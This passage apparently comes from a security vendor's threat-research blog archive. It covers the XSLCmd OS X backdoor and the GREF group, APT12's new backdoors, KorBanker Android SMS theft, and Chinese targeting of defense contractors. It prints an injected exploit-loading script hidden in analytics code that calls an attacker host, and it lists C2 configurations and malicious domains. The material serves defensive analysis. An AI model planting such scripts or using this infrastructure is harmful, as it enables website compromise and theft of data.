The body after the headers, regardless of mode, will contain data specific to the purpose of the communication. The data is encrypted with a scheme lifted from a game server engine written by a group named “My Destiny Team.” The request headers have an interesting feature where the Host and Referer header values will have their domain values populated with the value stored in [Fake Domain].  This value can be any string and has no effect on the network connection established. The value of the ‘s’ argument in the request URL is randomly generated, and all of the other request header values except for Content-Length are hard-coded.

osx1

Another interesting feature exists for the configuration update function. If [MWebTrans]/[BWebTrans] is set to 1, the configuration update URL request will be proxied through Yahoo’s Babelfish service and will fall back to the Google Translate service if that fails.

osx2

As you can see, the ‘trurl’ parameter in the URL will be set to whatever is configured for [MWeb]/[BWeb]. The User-Agent header for this request is hard-coded and contains the computer name in the parentheses at the end.

SSL certificate strings were noticed during our analysis, but with no direct cross-reference to the certificate data. However, there was a cross-reference to the data directly preceding it. This data began with what looked like SSL handshake headers, so we extracted the data from the executable, wrapped it in a PCAP file, and opened it in Wireshark.

osx3

Interestingly, the data contains everything needed for the server-side packets of an SSL handshake. The SSL certificate being used was for login.live.com and had expired on 6/16/2010. The code using this data opens a socket, waits for a connection, and proceeds to carry out an SSL handshake with the client, throwing away whatever data it receives. This code is not directly referenced by any other code in the executable but could very well replace the [Listen Mode] code. Perhaps it is an old feature no longer in use, a new feature yet to be fully implemented, or an optional feature only used in certain cases.

Observations

We noticed a mix of manually constructed and plain referenced strings throughout the code, sometimes side-by-side in the same function even. This gives the impression of someone working with someone else’s code, adding his own touch and style here and there as he goes.

osx4

Also of note is that XSLCmd will not perform key logging if run as super user.  This can be a problem, because the API used to perform the key logging, CGEventTapCreate, when invoked with the parameters it uses, requires root permissions from the calling process or the “Assistive Devices” feature must be enabled for the application. During the initial installation, there is a routine to programmatically enable assistive devices that will be executed if the OS X version is not 10.8. In 10.9, enabling assistive devices permissions is done on a per application basis with no direct API to achieve this.

It is interesting to note that the version check does not account for versions above 10.8, indicating that perhaps 10.8 was the latest version at the time the code was written, or at least the most common. Further supporting this inference is the lack of testing performed on 10.9. This variant uses an API from the private Admin framework that is no longer exported in 10.9, causing it to crash. The effort to support PowerPC with the endian conversion functions is worth mentioning.

Coupling this observation with the aforementioned fact that elsewhere in the code, the version of OS X is compared with 10.8, one could deduce that efforts were made to be backwards compatible with older OS X systems. For some frame of reference, Apple’s first OS to drop support for PowerPC was OS X 10.6 released in 2009, and OS X 10.9 was released in October of 2013.

Threat Actor Intelligence

Historical Background

While GREF’s targeting interests overlap with many of the other threat groups we track, their TTP’s are somewhat unique. GREF is one of the few APT threat groups that does not rely on phishing as their primary attack method. While they have been known to utilize phishing emails, including malicious attachments and links to exploit sites, they were one of the early adopters of strategic web compromise (SWC) attacks.

GREF was especially busy in the 2010 timeframe, during which they had early access to a number of 0-day exploits including CVE-2010-0806 (IE 6-7 Peer Objects vuln), CVE-2010-1297 (Adobe Flash vuln), and CVE-2010-2884 (Adobe Flash) that they leveraged in both phishing and SWC attacks.  Many of their SWC attacks we saw in this time period were hosted on defense industry-related sites including Center for Defense Information (cdi.org), National Defense Industrial Association (ndia.org), Interservice/Industry Training, Simulation and Education Conference (iitsec.org), and satellite company Millennium Space Systems (millennium-space.com).

Most of those attacks involved embedding links to exploit code in the homepage of the affected website, and true to their moniker the link was usually placed inside an existing Google Analytics code block in the page source code to help obscure it, rather than simply appended to the end of the file like many other attackers did.

Figure 1: Sample “google” exploit link

<!— Google Tracking Code —>

<script type=”text/javascript”>

var gaJsHost = ((“https:” == document.location.protocol) ? “https://ssl.” : “http://”);

document.write(unescape(“%3Cscript src=’” + gaJsHost + “180.149.252.181/wiki/tiwiki.ashx’ type=’text/javascript’%3E%3C/script%3E”));

</script>

The TTP that most differentiates GREF from other APT threat groups is their unrelenting targeting of web server vulnerabilities to both gain entry to targeted organizations, as well as to get new platforms for SWC attacks. This threat group appears to devote more resources (than most other groups) in attempting to penetrate web servers, and generally, they make no attempt to obscure the attacks, often generating gigabytes of traffic in long-running attacks.  They are known to utilize open-source tools such as SQLMap to perform SQL injection, but their most obvious tool of choice is the web vulnerability scanner Acunetix, which leaves tell-tale request patterns in web server logs. They have been known to leverage vulnerabilities in ColdFusion, Tomcat, JBoss, FCKEditor, and other web applications to gain access to servers, and then they will commonly deploy a variety of web shells relevant to the web application software running on the server to access and control the system.

Another historical TTP attributed to GREF was their frequent re-use of specific IP ranges to both perform reconnaissance and launch their attacks, as well as for command and control and exfiltration of data.  In the early years, we documented them routinely using IP addresses in the 210.211.31.x (China Virtual Telecom – Hong Kong), 180.149.252.x (Asia Datacenter – Hong Kong), and 120.50.47.x (Qala – Singapore). In addition, their reconnaissance activities frequently included referrer headers from google.com and google.com.hk with search features such as “inurl” and “filetype” looking for specific systems, technologies, and known vulnerabilities.

C2 Domains

GREF is known to have sometimes configured their malware to bare IP addresses, rather than domains, but there are some clusters of domain registrants that we attribute to them.

Table 1: GREF domain registrations

Domain Registrant Email Address
allshell[.]net cooweb51[@]hotmail.com
attoo1s[.]com cooweb51[@]hotmail.com
kasparsky[.]net cooweb51[@]hotmail.com
kocrmicrosoft[.]com cooweb51[@]hotmail.com
microsoft.org[.]tw cooweb51[@]hotmail.com
microsoftdomainadmin[.]com cooweb51[@]hotmail.com
microsoftsp3[.]com cooweb51[@]hotmail.com
playncs[.]com cooweb51[@]hotmail.com
softwareupdatevmware[.]com cooweb51[@]hotmail.com
windowsnine[.]net cooweb51[@]hotmail.com
cdngoogle[.]com metasploit3[@]google.com
cisco-inc[.]net metasploit3[@]google.com
mremote[.]biz metasploit3[@]google.com
officescan[.]biz metasploit3[@]google.com
oprea[.]biz metasploit3[@]google.com
battle.com[.]tw 6g8wkx[@]gmail.com
diablo-iii[.]mobi 6g8wkx[@]gmail.com
microsoftupdate[.]ws 6g8wkx[@]gmail.com
msftncsl[.]com 6g8wkx[@]gmail.com
square-enix[.]us 6g8wkx[@]gmail.com
updatamicrosoft[.]com 6g8wkx[@]gmail.com
powershell.com[.]tw 6g8wkx[@]gmail.com
gefacebook[.]com 6g8wkx[@]gmail.com
attoo1s[.]com 6g8wkx[@]gmail.com
msnupdate[.]bz skydrive1951[@]hotmail.com
googlemapsoftware[.]com skydrive1951[@]hotmail.com

XSLCmd Usage

For the majority of the time we’ve been tracking them, XSLCmd has been the “go-to” backdoor for GREF, as shown by the wide range of compile dates for the Windows samples we have: from 2009-01-05 to 2013-08-01. Appendix 2 provides a partial list of Windows sample hashes and configuration metadata.

Since Mach-O binaries do not have a compile timestamp like Windows executables, we can only infer from other data when the OS X variant was developed.  As mentioned above, the “FakeDomain” was configured to “www.appleupdate[.]biz”, which was originally registered on August 2, 2012, and the registration appears to have updated on August 7, 2014, but the registrant is still the same “cast west”.  When we found the sample on August 10, the domain did not resolve and there were no historical records for appleupdate[.]biz in any of the passive DNS (pDNS) sources we checked.  In the intervening weeks, it has been seen by pDNS sensors, with the first query occurring on August 12, 2014 (which could be related to our research, since the hits are ‘nxdomain’), and then on August 16, 2014 there are pDNS records pointing to 61.128.110.38, which you’ll notice is the same IP the OS X version was configured to use.  This could hint at the possibility that this OS X port of XSLCmd was recently developed and deployed; however, this remains uncertain.

Other Backdoor Usage

In addition to XSLCmd, GREF has utilized a number of other backdoors over time.  Another backdoor unique to them, which we call “ddrh”, is a limited-feature backdoor that was frequently dropped in the SWC attacks in 2010, but has not been seen much since.

Another historical backdoor attributed to GREF is one known as ERACS or Trojan.LURKER (not to be confused with LURK0 variant of Gh0st).  This full-featured backdoor includes the usual backdoor functionality, including the support for additional modules, but it also includes a USB monitoring capability that generates a directory listing of USB-connected devices.

We have also observed GREF using a handful of other common backdoors including Poison Ivy, Gh0st, 9002/HOMEUNIX, HKDoor, and Briba, but these occurrences have been pretty rare.  All of the GREF 9002/HOMEUNIX samples in our repository have compile dates from 2009 or 2010.  Interestingly enough, there is some overlap with a cluster detailed in a report we released in November of last year, specifically the “AllShell” cluster (C2: smtp.allshell[.]net).

Starting in mid-2012, GREF started using the Kaba/SOGU backdoor.  These early samples, which were discussed in great detail by LastLine in their blog post “An Analysis of PlugX,” are usually bundled into a RAR self-extracting executable and uses the three-part loading mechanism consisting of an executable, the malicious DLL that is side-loaded, and the shellcode file.

In mid-2013, GREF switched to using a new Kaba/SOGU builder that created binaries with unique metadata. For example, many of these samples create a mutex of “PST-2.0” when executed, and some have the shared “HT Applications” version metadata.

Conclusion

The “A” in APT is generally used to describe the threat actors as “Advanced”, but with this blog, we also see that they are also “Adaptable.”  Not only have they adopted new Windows-based backdoors over time, as Apple’s OS X platform has increased in popularity in many companies, they have logically adapted their toolset to match in order to gain and maintain a persistent foothold in the organizations they are targeting. OS X has gained popularity across enterprises, from less savvy users who find it easy to operate, to highly technical users that utilize its more powerful features, as well as with executives. Many people also consider it to be a more secure computing platform, which may lead to a dangerous sense of complacency in both IT departments and with users. In fact, while the security industry has started offering more products for OS X systems, these systems are sometimes less regulated and monitored in corporate environments than their Windows peers.

Clearly as the OS X platform becomes more widely adopted across enterprises, threat groups like GREF will continue to adapt and find ways to exploit that platform.

Credit to Jay Smith for his initial analysis of the Windows version of the XSLCmd backdoor and Joshua Homan for his assistance in this research.

Appendix 1:  XSLCmd for OS X created files

Filename Purpose
$HOME/Library/LaunchAgents/clipboardd executable
/Library/Logs/clipboardd executable when run as super user
$HOME/Library/LaunchAgents/com.apple.service.clipboardd.plist plist for persistence
$HOME/.fontset/pxupdate.ini configuration file
$HOME/.fontset/chkdiska.dat additional configuration file
$HOME/.fontset/chkdiskc.dat additional configuration file
$HOME/Library/Logs/BackupData/<year><month><day>_<hr>_<min>_<sec>_keys.log key log file

 

 

Appendix 2: XSLCmd sample metadata

09b20478f9c22886d3a2d59feada4131

[MServer]

180.149.252.136:443

[BServer]

66.98.206.31

[MWeb]

hxxp://google-analytics.dynalias.org/intl/images/index.html

[BWeb]

hxxp://google-analytics.dynalias.org/intl/images/index.html

[UpdateWeb]

hxxp://192.168.0.101/logo.bmp

 

17119d797ea48f4aa6ab196bed41c467

[MServer]

210.211.31.246:443

[BServer]

221.130.190.27

[MWeb]

hxxp://210.211.31.246/img/eihqs.html

[BWeb]

hxxp://221.130.190.27/img/eihqs.gif

 

21cea8b0f5f894a9e28a1cf05f207798

[MServer]

210.211.31.246:8080

[BServer]

117.135.135.128

[MWeb]

hxxp://xxtaltal.googlecode.com/svn/trunk/Cinci.html

[BWeb]

hxxp://210.211.31.246/img/Cinci.html

[UpdateWeb]

hxxp://210.211.31.246/xslup/tr.bmp

 

2a46174a881e664cf3f557be50a681d1

[MServer]

72.18.128.145:443

[BServer]

180.149.252.136

[MWeb]

hxxp://180.149.252.137/facebook/face.html

[BWeb]

hxxp://120.50.47.28/facebook/face.html

[UpdateWeb]

hxxp://192.168.0.101/logo.bmp

 

3d1914c340ab4dfcfae02b7ebf8c0849

[MServer]

kr.microisoft.net:443

[BServer]

aus.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

 

3ea4887d7c054a1cd7ebb662f0a5eb9d

[MServer]

66.90.103.135:443

[BServer]

58.177.114.13

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

491df38a8fae5627283d4b7e728b3f91

[MServer]

210.211.31.246:8080

[BServer]

117.135.135.128

[MWeb]

hxxp://xxtaltal.googlecode.com/svn/trunk/qq.html

[BWeb]

hxxp://210.211.31.214/img/qq.html

[UpdateWeb]

hxxp://210.211.31.214/xslup/tr.bmp

 

4c1918506917005d0026692a6b115ce1

[MServer]

65.111.246.50:443

[BServer]

117.135.135.128

[MWeb]

hxxp://210.211.31.214/img/qq.html

[BWeb]

hxxp://xxtaltal.googlecode.com/svn/trunk/qq.html

[UpdateWeb]

hxxp://210.211.31.214/qq/ab.bmp

 

6b647c625f686f1cd6ccd2cab29dda3b

[MServer]

205.209.150.2:80

182.239.48.126

hxxp://184.172.139.10/har/har.htm

[BWeb]

hxxp://184.172.139.10/har/har.htm

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

6c3be96b65a7db4662ccaae34d6e72cc

[MServer]

cdi.indiadigest.in:53

[BServer]

cdi.vmnet.info

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

[UpdateWeb]

 

6fcc96f01b880ec3a046b54497264958

[MServer]

59.148.180.62:8080

[BServer]

59.148.180.62

[MWeb]

hxxp://bluetoothftp.googlecode.com/svn/trunk/default.htm

[BWeb]

hxxp://sghost.homeip.net/index.htm

 

72dfa4abae68dbf637c4707ebd89f18c

[MServer]

kr.microisoft.net:443

[BServer]

aus.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

 

8826a06995249545d6ade39b0e47ff42

[MServer]

kr.microisoft.net:443

[BServer]

aus.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

 

89624f1a3ed028c5880f074a8a5826be

[MServer]

182.239.48.127:443

[BServer]

184.172.139.10

[MWeb]

hxxp://182.239.48.127/swap/mg.html

[BWeb]

hxxp://182.239.48.127/swap/mg.html

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

89698fe58f47d14514f1aae8e2f92c95

[MServer]

205.209.150.2:80

[BServer]

184.172.139.9

[MWeb]

hxxp://184.172.139.10/sp/saic.htm

[BWeb]

hxxp://184.172.139.10/sp/saic.htm

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

93885b17fbadb2662e9cac565502a276

[MServer]

cdi.indiadigest.in:443

[BServer]

cdi.vmnet.info

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

[UpdateWeb]

 

94218fba95e3f03796dd005a2851b5af

[MServer]

xls.officescan.biz:443

[BServer]

xls.officescan.biz

[MWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

[BWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

 

9763c69840d34b94e46ecd98e0bfa48e

[MServer]

xls.officescan.biz:443

[BServer]

xls.officescan.biz

[MWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

[BWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

 

9e7df3d721b9bec3debfd8aa21fb0897

[MServer]

news.lovexfree.com:80

[BServer]

neo.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

 

b0704a540d58551f2d070515b4a7b008

[MServer]

210.211.31.246:443

[BServer]

221.130.190.27

[MWeb]

hxxp://210.211.31.246/img/so.html

[BWeb]

hxxp://221.130.190.27/img/so.gif

 

b27dd51f4b8c863603d3ac684567dbdc

[MServer]

neo.lovexfree.com:80

[BServer]

game.pmang-kr.com

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

 

b54be0d6d3aa4d8e839d9bb42870a97b

[MServer]

110.34.168.188:443

[BServer]

76.12.61.116

[MWeb]

hxxp://110.34.168.188/rr.html

[BWeb]

hxxp://76.12.61.116/rr.html

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

e14c1f4781be96fd5967e286c2e44272

[MServer]

oracle.windowsnine.net:1119

[BServer]

oracle.windowsnine.net

[MWeb]

hxxp://devaoffice.blogspot.kr/2009/06/mysqlblog.html

[BWeb]

hxxp://devaoffice.blogspot.jp/2009/06/mysqlblog.html

 

f22805b858ed26b9f76f8c24d0573c4b

[MServer]

ns2.windowsnine.net:443

[BServer]

ns2.windowsnine.net

[MWeb]

hxxp://lemonawar.blogspot.it/2011/06/iphone-5.html

[BWeb]

hxxp://lemonawar.blogspot.jp/2011/06/iphone-5.html

 

fd2db8463d667ec6a5e887df579a05c1

[MServer]

xls.officescan.biz:443

xls.officescan.biz

[MWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

[BWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

 

fdb81d9f3b34b579cf34cd65647830cd

[MServer]

kr.microisoft.net:443

[BServer]

aus.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

Darwin’s Favorite APT Group

Introduction

The attackers referred to as APT12 (also known as IXESHE, DynCalc, and DNSCALC) recently started a new campaign targeting organizations in Japan and Taiwan. APT12 is believed to be a cyber espionage group thought to have links to the Chinese People’s Liberation Army. APT12′s targets are consistent with larger People’s Republic of China (PRC) goals. Intrusions and campaigns conducted by this group are in-line with PRC goals and self-interest in Taiwan. Additionally, the new campaigns we uncovered further highlight the correlation between APT groups ceasing and retooling operations after media exposure, as APT12 used the same strategy after compromising the New York Times in Oct 2012. Much like Darwin’s theory of biological evolution, APT12 been forced to evolve and adapt in order to maintain its mission.

The new campaign marks the first APT12 activity publicly reported since Arbor Networks released their blog “Illuminating The Etumbot APT Backdoor.” FireEye refers to the Etumbot backdoor as RIPTIDE. Since the release of the Arbor blog post, FireEye has observed APT12 use a modified RIPTIDE backdoor that we call HIGHTIDE. This is the second time FireEye has discovered APT12 retooling after a public disclosure. As such, FireEye believes this to be a common theme for this APT group, as APT12 will continue to evolve in an effort to avoid detection and continue its cyber operations.

FireEye researchers also discovered two possibly related campaigns utilizing two other backdoors known as THREEBYTE and WATERSPOUT. Both backdoors were dropped from malicious documents built utilizing the “Tran Duy Linh” exploit kit, which exploited CVE-2012-0158. These documents were also emailed to organizations in Japan and Taiwan. While APT12 has previously used THREEBYTE, it is unclear if APT12 was responsible for the recently discovered campaign utilizing THREEBYTE. Similarly, WATERSPOUT is a newly discovered backdoor and the threat actors behind the campaign have not been positively identified. However, the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12.

Background

From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server. RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication.

riptide-wireshark

Figure 1: RIPTIDE HTTP GET Request Example

In June 2014, Arbor Networks published an article describing the RIPTIDE backdoor and its C2 infrastructure in great depth. The blog highlighted that the backdoor was utilized in campaigns from March 2011 till May 2014.

Following the release of the article, FireEye observed a distinct change in RIPTIDE’s protocols and strings. We suspect this change was a direct result of the Arbor blog post in order to decrease detection of RIPTIDE by security vendors. The changes to RIPTIDE were significant enough to circumvent existing RIPTIDE detection rules. FireEye dubbed this new malware family HIGHTIDE.

HIGHTIDE Malware Family

On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry. Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158. It is worth noting that this email appeared to have been sent from another Taiwanese Government employee, implying that the email was sent from a valid but compromised account.


riptide-spear

Figure 2:  APT12 Spearphishing Email

The exploit document dropped the HIGHTIDE backdoor with the following properties:

MD5 6e59861931fa2796ee107dc27bfdd480
Size 75264 bytes
Complie Time 2014-08-23 08:22:49
Import Hash ead55ef2b18a80c00786c25211981570

The HIGHTIDE backdoor connected directly to 141.108.2.157. If you compare the HTTP GET request from the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you can see the malware author changed the following items:

  • User Agent
  • Format and structure of the HTTP Uniform Resource Identifier (URI)

riptide2-wireshark

Figure 3: HIGHTIDE GET Request Example

Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158. FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases. Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method.

MD5 File Name Exploit
73f493f6a2b0da23a79b50765c164e88 議程最新修正及注意事項.doc CVE-2012-0158
f6fafb7c30b1114befc93f39d0698560 0824.1.doc CVE-2012-0158
eaa6e03d9dae356481215e3a9d2914dc 簡易名冊0全國各警察機關主官至分局長.doc CVE-2012-0158
06da4eb2ab6412c0dc7f295920eb61c4 附檔.doc CVE-2012-0158
53baedf3765e27fb465057c48387c9b6 103年第3屆通訊錄.doc CVE-2012-0158
00a95fb30be2d6271c491545f6c6a707 2014 09 17 Welcome Reception for Bob and Jason_invitation.doc CVE-2012-0158
4ab6bf7e6796bb930be2dd0141128d06 產諮會_Y103(2)委員會_從東協新興國家崛起(0825).doc CVE-2012-0158

Figure 4: Identified exploit documents for HIGHTIDE 

When the file is opened, it drops HIGHTIDE in the form of an executable file onto the infected system.

RIPTIDE and HIGHTIDE differ on several points: executable file location, image base address, the User-Agent within the GET requests, and the format of the URI. The RIPTIDE exploit document drops its executable file into the C:\Documents and Settings\{user}\Application Data\Location folder while the HIGHTIDE exploit document drops its executable file into the C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\ folder. All but one sample that we identified were written to this folder as word.exe. The one outlier was written as winword.exe.

Research into this HIGHTIDE campaign revealed APT12 targeted multiple Taiwanese Government organizations between August 22 and 28.

THREEBYTE Malware Family

On Monday August 25, 2014 we observed a different spear phish email sent from lilywang823@gmail.com to a technology company located in Taiwan. This spear phish contained a malicious Word document that exploited CVE-2012-0158. The MD5 of the exploit document was e009b95ff7b69cbbebc538b2c5728b11.

Similar to the newly discovered HIGHTIDE samples documented above, this malicious document dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. This backdoor had the following properties:

MD5 16e627dbe730488b1c3d448bfc9096e2
Size 75776 bytes
Complie Time 2014-08-25 01:22:20
Import Hash dcfaa2650d29ec1bd88e262d11d3236f

This backdoor sent the following callback traffic to video[.]csmcpr[.]com:

threebyte-wireshark

Figure 5:  THREEBYTE GET Request Beacon

The THREEBYTE spear phishing incident (while not yet attributed) shared the following characteristics with the above HIGHTIDE campaign attributed to APT12:

  • The THREEBYTE backdoor was compiled two days after the HIGHTIDE backdoors.
  • Both the THREEBYTE and HIGHTIDE backdoors were used in attacks targeting organizations in Taiwan.
  • Both the THREEBYTE and HIGHTIDE backdoors were written to the same filepath of C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe.
  • APT12 has previously used the THREEBYTE backdoor.

WATERSPOUT Malware Family

On August 25, 2014, we observed another round of spear phishing emails targeting a high-technology company in Japan. Attached to this email was another malicious document that was designed to exploit CVE-2012-0158. This malicious Word document had an MD5 of 499bec15ac83f2c8998f03917b63652e and dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. The backdoor had the following properties:

MD5 f9cfda6062a8ac9e332186a7ec0e706a
Size 49152 bytes
Complie Time 2014-08-25 02:10:11
Import Hash 864cd776c24a3c653fd89899ca32fe0b

The backdoor connects to a command and control server at icc[.]ignorelist[.]com.

Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server.

GET /<string>/<5 digit number>/<4 character string>.php?<first 3 characters of last string>_id=<43 character string>= HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: <C2 Location>
Cache-Control: no-cache

Figure 6: Sample GET request for WATERSPOUT backdoor

Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors:

  • Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158.
    • The same “Tran Duy Linh” Microsoft Word Exploit Kit was used in delivery of this backdoor.
  • Similar Targets were observed where the threat actors utilized this backdoor.
    • Japanese Tech Company
    • Taiwanese Government Organizations
    • Organizations in the Asia-Pacific Region that are of Interest to China
  • The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors:
    • C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe
    • C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe
  • WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor.

Although these points do not definitively tie WATERSPOUT to APT12, they do indicate a possible connection between the WATERSPOUT campaign, the THREEBYTE campaign, and the HIGHTIDE campaign attributed to APT12.

Conclusion
FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset. These development efforts may have resulted in the emergence of the WATERSPOUT backdoor.
12-timeline

Figure 7: Compile dates for all three malware families 

APT12’s adaptations to public disclosures lead FireEye to make several conclusions about this threat group:

  • APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed.
  • APT12 has the ability to adapt quickly to public exposures with new tools, tactics, and procedures (TTPs).
  • Public disclosures may result in an immediate change in APT12’s tools. These changes may be temporary and FireEye believes they are aimed at decreasing detection of their tools until a more permanent and effective TTP change can be implemented (e.g., WATERSPOUT).

Though public disclosures resulted in APT12 adaptations, FireEye observed only a brief pause in APT12 activity before the threat actors returned to normal activity levels. Similarly, the public disclosure of APT12’s intrusion at the New York Times also led to only a brief pause in the threat group’s activity and immediate changes in TTPs. The pause and retooling by APT12 was covered in the Mandiant 2014 M-Trends report. Currently, APT12 continues to target organizations and conduct cyber operations using its new tools. Most recently, FireEye observed HIGHTIDE at multiple Taiwan-based organizations and the suspected APT12 WATERSPOUT backdoor at a Japan-based electronics company. We expect that APT12 will continue their trend and evolve and change its tactics to stay ahead of network defenders.

Note: IOCs for this campaign can be found here.

We Steal SMS: An insight into Android.KorBanker Operations

Twelve months. That is how long we’ve known about the Android.KorBanker malware app. For a year, this app has been operational, attacking unsuspecting users who think they’re simply downloading a banking application when in fact, they’re opening their bank account credentials to a threat actor(s).

We’ve been monitoring the KorBanker malware ever since it was discovered in September 2013, gaining insight by accessing one of the many command-and-control (C2) servers that the malware communicates with. In November 2013, a FireEye Labs blog thoroughly dissected KorBanker. Today’s blog delves deeper into information about the attack vector and the nature of data being targeted by the malicious actor(s) behind this threat.

A Foot in the Door

The C2 server for KorBanker is known to respond back with a HTTP 404 error page, even though the server is up and running. A custom 404 error page leads the average user to believe the server is no longer functional. The current C2 server for the malware is located at 115.126.54.196, while previously it has been known to exist on 113.10.139.5, 103.27.177,106 and 210.5.191.135. These servers are also known to function as malware distribution points in addition to performing C2 operations.

anddroid

Figure 1 – Misleading 404 from CnC 103.27.177.108

A MySQL database on the C2 server stores exfiltrated data and reveals the extent of data collected by the attacker. Our earlier blog post outlined the functionality and the kind of data collection conducted by the malware. The database seems to accurately reflect that the attacker has successfully collected such data.

Based on timestamps within the database, we determined the data in question spans 55 days and includes more than 10,000 SMS messages from 96 devices. The 96 infected users have collectively received SMS messages from over 3,500 users, a wealth of information in a relatively short period. The attacker runs a much larger operation, which is evident because the malware continues to be present. Its current C2 server appears to be at 222.3.101.75 and has also been known to previously exist on 113.10.139.5. This shows the information on this C2 is only a sliver of the information collected by the attacker.

Taking Aim

Most of the infected devices are believed to be in Korea based on the country code of the infected phone numbers.

androidd1

Figure 2 – Type of contents in sensitive SMS messages

Since SMS messages can potentially contain two factor authentication codes, we see in Figure 2 that the attacker has two factor authentication codes (such as from Google, Facebook, Password Resets) and also has received SMS messages containing passwords to VPN services. Additionally, since SMS messages form the bulk of communication in the APAC region, the attacker can also see other services that rely on SMS such as Location Sharing and Mobile Banking (sending GPS information via text) – which underscores the increased risk of mobile-based threats. Since such information can potentially be used to access corporate networks, mobile malware plays an important role in the newly evolving multi-vector threat landscape.

By looking at information in the FireEye DTI Cloud, we determined that the first instance of this malware was seen in September 2013, which means this campaign has been ongoing for the last 11 months. We have also seen a recent spike in activity for this campaign since August 1st, 2014, with more than 1700 infected devices

Conclusion

Our research shows us real-world evidence that mobile malware can indeed be part of a larger operation through which cyber criminals gather victim’s information. Adding to the already complex threat landscape, it remains to be seen how multi-vector threats, including mobile malware, will evolve in the future.

Threat Research

Filter by Category:


Putting TRANSCOM in Perspective

Today, the Senate Armed Services Committee released information indicating that China-based threat actors were heavily targeting TRANSCOM, the U.S. military’s logistics arm. In terms of the private sector contractors impacted, the intrusions detailed in the Levin report mirror activity FireEye has observed: we frequently see nation state threat actors target not only government, but also private sector organizations in order to obtain military intelligence.

Why Pursue Military Secrets?

FireEye believes that China-based threat actors are primarily motivated to compromise the defense industrial base – both private defense contractors and government agencies — (DIB) for data theft in order to:

  • Steal intellectual property and proprietary information capable of providing the government with a military advantage and assist the country in reaching its goals for military modernization. The Chinese government likely could use information stolen from the DIB to assess the U.S.’ military capabilities, and indigenously develop its products (as well as possibly the means to effectively counter them). This may also offer a way for the government to circumvent U.S. security restrictions and other export controls to obtain technologies that they are not able to otherwise purchase from the U.S. and its close allies.
  • Stealing data from the DIB could also provide the Chinese government with an economic advantage in the global arms market, as the government would be able to indigenously develop and then sell new and highly valued technologies. Using stolen blueprints would also allow the Chinese government to increase its market competiveness, as it would be able to skip the research and development process and thus sell the same products for a cheaper price.

Threat Actors and Targets

We have seen more than 20 unique threat groups (including almost all the China-based APT groups that we track) that have compromised corporate networks in the Aerospace and Defense industry, particularly the following subsectors:

  • Aerospace & Defense Parts Wholesalers
  • Aerospace Products & Parts Manufacturing
  • Aircraft Engine & Parts Manufacturing
  • Guided Missile & Space Vehicle Manufacturing
  • Industrial & Military Computer System Manufacturing

Common data theft includes:

  • Personal Documents
  • Research Reports
  • Organizational Charts and Company Directories
  • Testing Results and Reports
  • Product Designs/Blueprints
  • Business Communications
  • Production Processes
  • PII
  • Budget Information
  • Safety Procedures
  • General Proprietary Product or Service Information
  • Equipment Maintenance Records and Specifications
  • System Log Files

